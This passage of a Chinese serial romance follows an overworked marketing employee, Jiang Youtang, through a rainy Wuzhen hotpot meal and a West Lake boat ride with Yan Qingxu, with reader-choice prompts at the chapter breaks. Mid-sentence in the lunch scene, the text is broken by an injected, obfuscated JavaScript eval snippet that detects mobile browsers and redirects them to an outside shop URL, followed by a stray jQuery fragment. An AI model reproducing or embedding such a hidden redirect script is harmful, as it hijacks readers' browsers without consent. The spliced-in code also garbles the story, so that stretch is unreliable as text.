林澜状似愧疚道:“可是这样下来,会耽误你的时间,小姜,你真的没问题吗?” 前后矛盾啊这人,不是你强迫我做的? 姜幼棠压抑着反感笑说:“可以的,没事。” 林澜扬起笑容:“小姜,当初把你招进来真是我的福气哦,你人漂亮,能力又那么强,我真的做梦都在感叹自己怎么有这么好的大将。哎哟,谢谢你啦,我稍晚点喊小张发你资料。” “好。” 回到家卧在床上,姜幼棠还没等到张组长通过她的好友验证。 于是敲字问林澜。 姜幼棠:[林总,张组长还没有同意我的好友申请,你催催她] 林澜没回复。 姜幼棠开始打电话,嘟嘟好几声,对方不接。 疲惫地等到次日,林澜还没回复。 直到去集团路上,林澜才回复她。 林澜:[要准备今天的发言,太忙啦太忙啦,我晚点跟你说] 要晚到什么时候,说着案子着急,到现在都没对接上,真的忙吗? 姜幼棠抱着电脑疲惫地靠在车窗边,邻座周恩灿问她:“棠棠姐,你怎么了?” “没事。”姜幼棠摇摇头。 到集团,陆续去往会议大厅。 会议厅大得望不见发言台后面屏幕上的中号字,分布也极为不合理。 共四个座位列,其它子公司都在前方,只有欧瑞垫在后排。 晏霖森到底讨厌晏清许到什么地步,这种表面功夫都懒得做。 现场也有许多媒体正在调试摄影设备和直播设备,乌泱泱乱七八糟,本就大的会议厅,现在活像个菜市场。 姜幼棠戴着工牌,慢慢找到自己的座位坐下,组里的人都在这片区域,她打开手机看,还是没有林澜和张组长的消息。 九点半会议开始,到九点二十五的时候,林澜发消息喊她出来。 “小姜,这是张组长,你们先去楼下小厅对接。”林澜匆忙得很,简单给姜幼棠介绍了几句,快些离开。 张组长抱着电脑喊姜幼棠下去,“走,小姜,我们到下一层的小会议厅去。” “好。”姜幼棠快步跟上。 插上充电线,张组长把几个文件夹发过去,姜幼棠点开后看到复杂的图片和各种数据,心里七上八下。 怎么这么多东西?林澜不是说只改一些简单的东西吗? “我真的是顾不上这个案子,小姜,这两天辛苦你帮忙啊。”传送完东西,张组长把笔记本电脑推过来开始讲解怎么修改:“你看,从P6-P27的数据要全部换成新的,也要重新排版,三大平台的推广主题全部更换,我已经放到文件夹里了,但是示例海报需要你帮忙做做,还有一些参考的……” “海报……我也要来?”姜幼棠以为自己听错了,“这个不是应该你们的设计来做的吗?创意和整合部分我可以做,但设计方面……” 张组长忙强调:“很简单的,有模板,在这个链接上,你写完文案帮忙套上就好了。哎呀,小姜,知允和林总都在我面前夸过你呢,你综合能力很强,你可以的。” 她说完,看了眼时间,着急道:“我还有个线上会议要开,要修改的都在文档里,修改的地方还蛮多的,等后面我找知允,要她给你加绩效。” “等等,我想知道等我做完的话,审核这方面……”姜幼棠话还没说完,张组长抱着笔记本匆匆离开。 小厅里只剩自己,还有一个自己帮忙做的烂摊子。 敲开一个一个文件夹,查看那个陌生的ppt,她揉了揉有些凌乱的头发,开始查看资曼诺的具体资料。 消化一个较为陌生的项目需要一些时间,等着手开始做的时候发觉已经快十二点了。 手机上有周恩灿发来的消息。 周恩灿:[棠棠姐,你还没弄好吗?要去吃饭了,我去餐厅等你] 姜幼棠揉揉眉心,回复:[我马上] 一脸倦意地抱着电脑去餐厅,周恩灿已经在等着了。上午是集团和子公司的高层boss发言,下午会有中高层代表和一些特邀嘉宾发言,晚上有个小宴会。 “我顾不上去看,也没时间参加宴会,要继续改。”姜幼棠埋头吃饭,太多东西要处理,明后两天的乌镇游她也没时间去,“去了乌镇我也只能找个咖啡厅坐着改案子,你们玩得开心就好。” 周恩灿不知道该怎么安慰姜幼棠,“棠棠姐,你好辛苦,感觉你已经忙成组长的模样了。” 想了想,她摇头道:“你比组长还忙,能力那么强,还那么负责,要我说,你才更应该当我们组的组长,你的辛苦,大家有目共睹。” 姜幼棠没空跟周恩灿说这些话,匆匆吃完抱着电脑起身:“我吃完了恩灿,先走了。” 周恩灿回个神的功夫,姜幼棠消失了。 好辛苦啊。 周恩灿瘪嘴叹道,强者,都是这么辛苦的吗? 那她永远也不要成为强者,当个混子最好了。 / 晚宴没顾上参加,次日去往乌镇,姜幼棠随便转了转,找到一家咖啡店抱着电脑坐进去。 黑瓦白墙的小店,不是很大,但名字好听,几许自闲。 拖着疲惫的身子找个靠窗的位置坐下,点了咖啡和点心,打开电脑开始忙碌。 从早上到晚上,姜幼棠几乎没怎么休息,几百页的PPT按照要求修改,和重做没什么区别。 改到头昏脑涨的时候,她会出去溜达一圈。 已是秋日,空气仍旧荡着桂香,长街短巷处处都是光影斑驳的金黄秋叶。波光荡漾的水巷,偶有摇着船橹的乌篷船驶过,晕成一幅水墨画。 江南好景。 姜幼棠叹口气,默默折回去。 她不是游客,她要工作。 她做过剧本游的npc,玩家沉浸到故事里的话,整场剧本游还是挺有趣的。 有时候也会跑神,晏清许是不是也在和那些人一起玩?她撑着下巴想。 算了,不要想了。 她继续改案子。 改到第二天中午,终于改完了。 发送给张组长看,对方回复:[辛苦你啦小姜,改得很好,后面你不用管了,我来修] 姜幼棠把心放回肚子里去。 真好,不用再负责了。 伸着懒腰往咖啡店外看去,晴好的天乌云密布。 现在才十一点,她还有半天游玩的时间。 眼皮有些沉重,她打了个哈欠,收拾下电脑趴在桌子上。 先睡会儿吧,先睡会儿。 睡得并不安稳,感觉有什么东西在噼啪乱响。 迷迷糊糊醒来往窗外望去,淅淅沥沥的雨飘在青瓦黛墙的世界里,檐下的雨像垂落的珠帘,一点一点,一丝一线。 “这几日都不见你,怎么回事?” 突兀的声音落在耳边,混着朦朦的雨晕成涟漪。 姜幼棠侧头看去,晏清许坐在她身侧。 深邃的眼窝下是那双漂亮的灰蓝色眼睛,那抹剔透的蓝在阴雨天罩了一层薄薄的雾气,一汩一汩往外翻涌。 一身剪裁优良的黑西装,背挺得又直又柔,冷暖的木质香混着雨水的味道扑面而来。 瞬间没了睡意。 姜幼棠错愕半晌,低低出声:“姑姑,你怎么在这儿。” 晏清许不语,端起咖啡杯轻抿一口。 想到那天的争执,姜幼棠底气不足,小小声说:“我,我这几天都在工作,有个很急的案子需要做。” “哦,这样。”晏清许放下咖啡杯,“那没事了。” 只言片语,没多说什么,好像只是为了得到这个答案才坐到这里。 片刻后,晏清许拎起靠在桌角的黑色雨伞起身。 高跟鞋踩过去,缓缓来到台阶处。 临水的岸洇着水汽,雨声淅淅沥沥,她犹豫了一瞬,撑起雨伞踩着阶上的雨水往下走。 墨痕在天际深处晕染开来,青石板路被雨水洗得发亮,她蹁跹的身影往雨里走去,虚无又柔情。 就这么走了,心里空落落的。 晏清许垂着眼,再转过身子,停在雨里。 回头望那扇雕花窗棂,望向看不清脸庞的姜幼棠。 淋淋漓漓的雨,缥缈摇曳,折落桂香。 江南水乡,总是那么软。 姜幼棠接触到那个视线,心脏漏了半拍。 //【选择时间】 --请帮姜幼棠做出选择-- A:目送晏清许离去 B:询问晏清许要去哪 C:冲到伞下,跟着一起走 D:不管了,困死了,继续睡觉 --请帮姜幼棠做出选择-- 11. 第 11 章 盈耳的雨声坠于檐下,灰蒙蒙的天横亘在两个世界里,晏清许的身影似雾一样朦胧。 远了,近了。 近了,远了。 颤着睫羽远远地望着,似乎是想清了什么,姜幼棠抓起装着电脑的包从店里冲出去。 一头扎进雨幕里,连遮挡都顾不上,细密的雨珠径直扑在脸上,淋湿了头发。 晏清许移着伞上前走一步,恍恍惚惚,小孩已经钻进伞下。 小孩捂着包低着头,她只看得到一个圆圆的头顶,和小时候一样圆,像朵小白菇。 “姑姑。”姜幼棠拢拢肩上的包带子,低低喊了一声,“谢谢你。” 两具身子凑在伞下,热腾腾的。 晏清许没多言语,撑伞转过身子往前走。 雨路湿滑,她步子放得极缓,抬脚落地,听得到雨水和鞋底的粘黏声。 穿过青瓦深巷,湿冷的水汽和浓厚的雾气涌在上空,她再次低头瞧了瞧,小孩衣服穿得薄,拢住包带的手背泛着青意。 “你饿不饿。”晏清许问。 姜幼棠抓紧带子点头,没抬头看人:“有点。” 晏清许低头看手机,纤长的指在屏幕上滑动几下,目光锁定一家火锅店,点开店家地址。 “火锅行不行。”晏清许记下路线问,“吃点热的,暖一暖。” 姜幼棠对吃饭不太挑,嗯嗯两声:“行啊行啊,正好最近很想吃火锅,谢谢你,姑姑。” 姑姑。 没来由的别扭。 却又想,是自己让人家喊的。 晏清许压下眉头熄灭手机,带人走上拱桥的台阶。 一步一步踏上去,缓慢出声提醒:“路滑,你小心点。” 姜幼棠抱紧包,往晏清许身侧挤了挤,“嗯,好,我会注意的。” 平淡的对白好像回到了过去。 年长者对年幼者下意识关怀,怕冷了,怕饿了,怕摔了,怕碰了。 小孩挤过来,晏清许身子一热,想要抽离出去,又忍不住保持这样的距离。 这阵突然到来的雨里,推开还是抽身,都会有人被淋湿。 算了。 火锅店在南栅艺术街区附近,核销时两人一致点了菌菇锅。 落座,姜幼棠放下包匆匆瞄了对面的晏清许一眼。 卷长的发尾挂了点水珠,肩膀那处湿了,手背上也有小水珠,被抽出的纸巾轻轻擦去。 几根寡淡的指,骨细肉嫩,指甲修剪得极为平整圆润,带动掌心擦下面的那只手。擦完用两根指夹着湿润的卫生纸,俯身把纸扔进一旁的垃圾桶,两只手开始整理西装领带。 垂头的时候长卷发垂落在汹涌的胸前,顺着饱//满的弧度晃动几下,很快又被轻轻撩到后头,露出修长白皙的脖颈。 姜幼棠只是望着,血液好似被抽干,一泵,又一泵,咕嘟嘟涌出来,失血过多的她移开视线给自己倒了杯水喝下。 晏清许往一旁看了片刻,欲要起身,姜幼棠忙问:“姑姑,你要做什么?” “调蘸料。”晏清许说。 姜幼棠放下杯子站起来:“我来调,我知道你的口味。” 说罢,便去了。 回来时端了两碟蘸料,往晏清许身边靠近些,弯腰放下凑过去说:“姑姑,我给你调了两个,一个是干碟,一个是百搭蘸料。” 嗅到一股橘香味,晏清许偏头对上姜幼棠的视线,自觉移开,保持距离,淡淡道谢:“好,谢谢你。” 姜幼棠点头,转回去把自己的蘸料调好端过来坐下。 菜上得很快,没有多余尴尬时间去尴尬。 事实上,只有晏清许觉得无事可做、无话可说很尴尬。 姜幼棠不是。 她有一万句话想跟晏清许说,但没什么机会,只在慢慢往锅里下菜时挑拣着肚子里的话问:“姑姑,你是怎么发现我在那个咖啡店的?” “正好路过,看到你就进去了,你睡得很沉,我喊了几声没喊醒你。”晏清许没看她,专心下牛肉,“你工作很忙吗?三天都不见你。” 姜幼棠的筷子悬在半空,而后慢慢把牛肉放进去。 三天…… 晏清许注意到她三天都不在会议现场和剧本游了吗? 没顾上这份激动,姜幼棠赶忙回答:“嗯,是有点忙,我最近手头上的工作比较多,还报名了策划大赛,所以忙得头掉。” “听说你在星美的时候参加过策划大赛?”晏清许漫不经心问。 姜幼棠比较意外晏清许知道这个,“是,得了二等奖,不过这种比赛水分大,一等奖以下的奖项都没什么含金量。” 晏清许打量她一眼,压了压眉头纠正:“你之前做的兰萃和博物馆联动的案子我看了,还可以,不要妄自菲薄。其实排除极少数成功的案例,大多数案子都没有优劣之分。当然,这行确实注水严重,但你专业功底好,对产品理解深刻,从创意、决策到执行,都能看到你的真诚和负责,这才是最难得的。” 好长的夸奖,非常直白,非常深刻,非常……开心。 姜幼棠努力保持平静,还是忍不住垂头笑。 “嗯,好。”她捏着筷子搅了两圈蘸料,抬头认真答着。 牛肉和虾滑都烫熟了,姜幼棠拿公筷给晏清许夹,“姑姑,熟了,来吃吧。” 牛肉和牛肚被夹到碟里,晏清许握着筷子没有直接开动。 感觉自己好像在被小孩照顾,以往都是她照顾小孩。很不一样的感觉,也从没想过会被这小孩照顾。 “姑姑,怎么了?”姜幼棠问。 “没什么。”晏清许用牛肉蘸酱料,缓缓送进嘴里,蘸料调得很合她口味。 咽下食物,她问:“平时宁宁带你出去都吃什么?” “挺杂的,她吃什么我跟着吃什么。”姜幼棠给自己捞了一筷子牛肉,“我之前上班都带饭,后面觉得咱公司餐厅的饭比我做饭还便宜,所以午餐一般在公司餐厅吃。” “餐厅的饭合不合口味。”晏清许问。 “挺好的,我吃东西不挑。”姜幼棠说。 晏清许:“嗯。” 交流在这里断了。 或许是因为下雨,来店里吃火锅的不少,四周有点喧闹,唯独两人这里安静得很。 除了碗碟筷子的碰撞,和火锅的咕嘟声,没有多余的声音。 晏清许不是很饿,吃东西也吃不太多,又不想干巴巴坐着,吃了几口便装模作样进食。 筷子来来回回在锅里和碗碟绕了一圈,忙忙碌碌,然后,什么都没吃。 入狱那半年,因为长期压抑和心理问题,加上生活环境剧变,她胃出血过很多次,也落下了病根,出狱后因为处理那堆烂摊子,她又几度累到呕血住院。 身子一直在调理,吃饭上面格外注意,友人也知道她能吃什么不能吃什么,会对她的饮食很关照。 她也注意着,但偶尔也会因为各种压力明知故犯,比如喝点小酒麻痹自己。 又假吃了一会儿,晏清许看向对面。 对面的人吭哧吭哧吃,和小时候吃饭的模样一样,还时不时想夹肉过来。 晏清许抬手拒绝:“不用给我夹,你自己吃。” 姜幼棠听话,自己专心吃。 上的几盘肉快吃完了,晏清许默默多加了菜。 “你很喜欢吃牛肉?”晏清许加了几盘肉,问道。 姜幼棠被问得脸红,怯怯地说:“牛肉有点贵,所以不常吃。” 意识到了什么,她放下筷子小声问:“姑姑,我是吃得太多了吗?我看你都没怎么吃。” “没有,我来时吃了东西,所以不饿,你吃就好。”晏清许随口扯了句谎。 恍惚了下。 她怎么会在这种小问题上撒谎。 姜幼棠哦了一声,吃饭的速度变慢。 “我又点了些,你多吃,不要浪费。”晏清许提醒。 姜幼棠红着耳朵点头:“好。” 一顿火锅吃完,晏清许随意滑动手机起身:“你是要去玩,还是回去?” 姜幼棠想了想说:“我不想逛了,想回枫城回家睡觉。” “那我送你回家。” 姜幼棠讶异:“你……送我回家?” 走到门口,晏清许拿起挂在火锅店门口的伞,指着一个方向说:“沿着这个方向往前走,那边有个停车场,我车在那里。带你回酒店后,你拿完东西下来,我们回枫城。回去的事,我会跟你总监说。” 拿着雨伞往檐下走,缓缓撑开。 姜幼棠愣了愣,匆匆钻到伞下。 晏清许撑伞带她走进雨里,随意搭话:“你的总监林澜待你如何?” 姜幼棠勉强笑着说:“林总监挺好的。” “你组长呢?” “也挺好的。” 晏清许不再多说什么,甚至吝啬于点评两位领导。 青瓦白墙的世界,雨声淅淅沥沥,撑伞沿着河岸走,路很长,她们的步子迈得极慢,慢得像慢倍速的电影。 又让人觉得很快,一眨眼便回到酒店拿完行李坐进车里。 “我跟林澜说过了。你家在哪里。”系好安全带的晏清许点击屏幕问。 姜幼棠低头系安全带,答道:“萧山区站文街站文华庭。” 输完地址,晏清许瞥了一眼姜幼棠。 小孩安静系完安全带,双手搭在腿上,垂着头,碎乱的刘海和鬓边的碎发挡住了眼睛。 那双手并不是细嫩的,细细看,上面有略微泛着青紫的痕迹,那是愈合的冻疮。 还有手腕处的青紫,是被自己掐出来的。 脑子混混沌沌想了什么,晏清许启动车辆驶入雨中。 从乌镇到站文华庭,80公里,1个多小时。 一声不吭地待在这样密闭的空间,多少太过漫长。 雨水凝在车窗上再被雨刷刮去,晏清许放着极为舒缓的音乐,似是无意问:“冬天要到了,你的手还生冻疮吗?” 以前冬天,她会给姜幼棠带很多东方舟济那边的药用冻疮膏,还有自己品牌的护手霜。 认识这小孩后,看到小小的手上可怕的冻疮,[兰萃]便出了一款草本滋润的护手霜,清清凉凉,止痒抑菌。 生产出来后,她给这小孩带过很多支,小孩说很香很喜欢。 实在没有想到,后来这小孩接手了[兰萃]。 但[兰萃]现在来看,只能算温水品牌,护手霜也早已断了生产。 “不生了,枫城冬天没那么冷,我来这里之后,冬天都没戴过手套。”姜幼棠握着自己的手答道,“枫城的雪也没有北城的大,我在这里生活了几年,觉得除了梅雨天不舒服外,其他季节都很好。” 晏清许有什么想要问的,往前看,乌云揉皱了天空,话卡在嘴边,没说出来。 到站文华庭地下停车场,姜幼棠开门下车前,真挚地道谢:“姑姑,谢谢你送我回家。” “举手之劳,不用记挂。” 很快,车便开走了。 与人之交,淡如水。 比一杯凉白开都要淡,平淡得不起一丝波澜,却让姜幼棠始终心跳如鼓。 但,晏清许看到她了。 被看到,被在意,被问起和过往有链接的事情。 姜幼棠抬手看自己手指上淡淡的冻疮,兀自笑出声。 不够,远远不够。 她是一个漏水的瓶子,晏清许填不满她。 / 周年庆过后照常上班,刚回来,都有点假日综合征,不太适应。 加班三天的姜幼棠除外。 工作?无缝衔接罢了。 周恩灿为姜幼棠感到可惜,三天的周年庆典,居然工作了三天。 姜幼棠一开始也觉得可惜,直到晏清许带她吃饭。 如果周年庆有10天,她10天都在加班,但晏清许带她吃顿饭,那10天的辛苦不值一提。 但楼下停车场一别,又不知什么时候才能见到。 姜幼棠跟着叹口气,又继续忙碌。 参加策划大赛需要准备的东西很多,组建团队也是一件麻烦的事。作为主要负责人,姜幼棠需要自己寻找合作队友一起完成。 首先,完成一件案子向上提交,必须找到配合的设计。案子通过后,才能走执行那一步。 执行方面需要注意的就太多了。 她在星美时作为乙方为甲方客户做策划案,甲方执行落地完成度还算可以,所以她才能勉勉强强评上二等奖。 但她现在身在欧瑞,需要直接拿欧瑞的产品来做市场检验。 万万不能搞砸。 那……要选哪个品? 苦思冥想间,林澜开门喊她出来。 姜幼棠揉揉头出去,被林澜带到一间会议室。 “小姜,你帮小张做案子的事,真的太感谢你了,我跟小叶说过了,这个月给你加绩效!钱直接打给你!”林澜眯眼笑说。 姜幼棠直接问:“加多少啊?” “500。” 500? 姜幼棠短暂滞住,辛辛苦苦加了三天班,丧失了应有的周年庆福利,仅仅只有500块的加班费吗? 但辩驳好像没什么用。 “好,谢谢你。”姜幼棠压抑着怒火回答。 林澜抿抿唇,试探地问:“小姜,昨天是晏总送你回的家?” 姜幼棠点头:“是。” 林澜:“难得哦,晏总还有菩萨心肠的一面。哦,你瞧我记性,你是她侄女的对象,可不得对你好嘛。” 姜幼棠笑说:“不说这个关系,晏总为人确实很好,很认真负责,也很有耐心。” 林澜挑眉,稍显惊讶地啊了一声,面色不太好看。 姜幼棠狐疑:“怎么了吗?” 林澜转笑,摇头道:“哈哈,没有。我就跟你讲这件事,其它没事了,你回去工作吧。” 姜幼棠觉得奇怪,但也没多说什么:“好。” 午饭点,姜幼棠和周恩灿去小炒菜餐厅吃饭,姜幼棠只点了麻婆豆腐和炒绿豆芽,一碗米饭。 素得很,但这顿饭用员工卡刷,才7块钱。 买完饭找位置坐下,正吃着,周恩灿端着番茄牛腩饭眼睛冒着闪光坐下。 “怎么了?”姜幼棠问。 周恩灿指着自己的番茄牛腩道:“棠棠姐,你猜这顿饭才多少钱?” “多少?” “7块钱!” 姜幼棠呆住了,一碗番茄牛腩,7块钱? “真卖7块钱?”姜幼棠继续确认。 周恩灿点头:“真的!就那家店阿珍牛腩饭改价格了,说公司和一个养殖场合作了,以后番茄牛腩就卖7块钱,其它牛肉饭也很划算。” 姜幼棠疑惑:“但是这样不会赔钱吗?” 周恩灿哈哈笑说:“你管赔不赔钱,便宜就吃啊!不过这便宜的牛腩牛肉饭是限量供应,卖完一盆就没了,所以以后我们要早点下来买,不然抢完了。” 7块钱的番茄牛腩饭,那真的要早点下来买了,不能到饭点还在工作。 姜幼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16836306|191196||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 棠咬断一根豆芽点头:“好,下次我早点下来。” // 一转眼到了11月底,还剩1个月,这一年就过完了。年终总结一般到农历年才开始做,到时候估计又要加班加点。 姜幼棠翻看工作进度,忙忙碌碌,喘不过气,任务都排到了明年六月。每天回家倒头就睡,除了想想晏清许,也没别的事想做了。 也……也有。 想和晏清许做……爱,来着。 自顾自念叨着什么时候能再见到晏清许,晏宁在周五晚上发来消息。 晏宁:[棠棠姐,明天我们出去玩吧] 姜幼棠:[好] 姜幼棠:[你什么时候带姑姑去] 晏宁:[明天,我约她了,她同意了呢] 晏宁:[这次你们要好好相处,缓和一下关系,我会努力的!] 带上了晏清许? 姜幼棠有些开心。 姜幼棠:[谢谢你,希望我们三个的关系都能好起来] 晏宁:[棠棠姐,我还有一件事要告诉你] 姜幼棠:[什么事] 晏宁:[我和我网友面基,所以我明天也会带着她,你介意吗] 姜幼棠:[不介意] 姜幼棠:[你想去哪里玩] 晏宁:[想带她西湖泛舟,毕竟来枫城肯定要看西湖的嘛。棠棠姐,你在西湖坐过船吗] 姜幼棠:[坐过] 姜幼棠:[没事,再坐一次] 和晏清许西湖泛舟……想想就激动得睡不着。翻箱倒柜找衣服,最近枫城气温在十几度,最低温度8、9度,找了半天找到了一件加绒的黑丝裤袜。 穿腿上觉得好看,配上呢子大衣和打底衫短裙,转了个圈,很满意。 赴约时晏宁没去接她,她自己坐地铁过去,扫了个共享单车骑到苏堤南入口,停完走到约好的马家湾码头。 微信上晏宁说要坐摇橹船,两个小时,还问自己会不会觉得时间太长了。 哪里长。姜幼棠简直想捧腹大笑。 和晏清许在船上待2个小时,哪里长了。 在码头处等了片刻,晏宁带着一个长相乖巧可爱的女孩跑过来,挥手喊道:“棠棠姐,你来啦!” 姜幼棠看向那个女孩问:“这位是……” “啊,这位就是我的网友,米娅,你可以喊她小娅。”晏宁主动介绍。 米娅颔首:“你好,棠棠姐。” 姜幼棠点点头:“你好,小娅。” 正想问晏清许在哪,身后传来耳熟的声音:“船票买好了,两艘船,你们三个一艘,我自己一艘。” 姜幼棠转过身去,看晏清许拿着两张船票走过来。 天朗气清,码头的风稍大些,晏清许走过来时墨色的发向后飘去,露出那张深邃动人的脸。白缎子一样的肤,蓝色的火在眼眸里跳动,烧出蒙蒙的烟,好像也要把姜幼棠烧得只剩灰。 晏清许穿着黑色羊毛大衣,内搭黑色高领毛衣,下身一条西裤,脖颈挂着银白色项链,腰上系着银环腰带。清瘦细长的身子,像一块易碎的玉,清清冷冷,又美得灼眼。 站定后,对上视线又移开。 “不行不行,我要和小娅说悄悄话,棠棠姐肯定会觉得我们烦。”晏宁跺脚摆手,“棠棠姐,你和姑姑一艘船。” 欸?什么好事? 姜幼棠一脸犹豫:“我……” 晏宁也不管姜幼棠愿不愿意,跟晏清许闹了起来:“姑姑姑姑,你不想和棠棠姐坐一艘船吗?你不坐是因为还讨厌棠棠姐吗?你又想……” 晏清许蹙眉轻喝:“晏宁,不要胡闹。” 晏宁不依不饶:“姑姑,你说过的,你说……” “没说不行。”晏清许抿紧唇,把手里的一张船票递给姜幼棠,又把另一张塞给晏宁。 “哈哈!姑姑你最好啦,快快,去坐船,我们今天有好多行程呢,要去虎跑公园拍照,还要去灵隐寺烧香!”接过船票,晏宁喜上眉梢,忙开心地撒娇,“姑姑,谢谢你谢谢你呀,我要带着小娅先去坐啦!” 说完,拉着米娅转身跑,回头挥手:“再见!” 看俩小孩跑去码头核销船票,姜幼棠低头认真看手里的两张票,愣愣地看了许久,意识到只剩两人在这里站着,忙往晏清许身旁靠近些:“姑姑,走吧。” 晏清许稍侧过脸看她一眼,嗯了一声。 核销船票,姜幼棠先一步上船。 两只脚缓慢踏进去,小船轻轻摇晃,湖水荡漾,寒意拂面。 她拢了下垂下的发,准备落座,想到身后的晏清许,忙转过身子。 “姑姑,小心一点。”姜幼棠伸出一只手,“你搭我的手上来。” 手就那样伸了出去,也没管对方搭不搭理自己。 她保持平静,就那样伸着手。 冬日丰腴的西湖水是一汪盈盈的蓝,苏堤垂柳掉了翠色,随风拂来荡去,两岸霜叶,层林尽染。小舟靠在码头,摇船人戴着斗笠手握船橹坐着等待游客上船。 晏清许的视线落在姜幼棠手上,迟疑一瞬,搭了上去。 姜幼棠憋气缓解紧张,拉晏清许上来。 面对面坐着,稍稍等了会儿,摇船人便摇着船橹缓缓行驶。 两个座位中间是一张小桌子,上面备了茶点,晏清许倒了两杯茶,端一杯送到姜幼棠面前。 “谢谢姑姑。”姜幼棠稳着手拿过茶杯,轻抿一口。 “以前坐过没?”晏清许双手交握,不看姜幼棠,目光放在湖水上。 “嗯,大一的时候就来坐了,西湖很漂亮,我没见过这么好看的湖,一年四季都好看。”姜幼棠点点头,“但后来没怎么坐了,只在沿岸流连。” 说到这里,便没了交谈。 坐摇橹船的游人较多,随行的也有一辆船只,一个小女孩举着poket3在拍摄,其它船只的人也在拍摄。 只有她们两个,干巴巴坐着,也不说话。 远山吞噬了喧闹的人声,小舟驶开青瓷一样的湖水,远方朦胧,眼前人也朦胧。 姜幼棠咬着唇,安静地透过余光看晏清许。 “这么美的景色,你不拍照吗?”晏清许忽然转头问。 “哦,好。”姜幼棠忙收回视线,举起手机拍照。 拍了几张,开广角把晏清许也拍了进去。 低头查看相片,小心把晏清许保存在私密相册里。 放下手机瞭望远处,又忍不住将目光放在晏清许身上。 12年前的北城,她们淋过同一场雪。 12年后的枫城,她们泛舟游湖,风轻水静。 谈及过去的时候,人似乎会立刻回到那个记忆节点。 她偏执地想重新做回晏清许的孩子,却忘记人与人的关系,本就如那无根的浮萍。 缘聚缘散,人间世事,一场空。 她不要。 “西湖很漂亮。”她听到晏清许说。 “嗯,从古至今,西湖都很美。”她偷偷注视晏清许,轻声道:“好景难遇,人亦如此。” //【选择时间】 --请帮姜幼棠做出选择-- A:亲上去!还等什么啊真的是,被打也不要怕!亲!往死里亲!姐姐的巴掌最香了!!! B:西湖好美啊,静静地看西湖吧~ C:提出帮姐姐拍照的小请求,帮姐姐出片 D:假装低血糖晕倒,博姐姐关心,呜呜呜,是一只柔弱可怜的小狗捏 --请帮姜幼棠做出选择--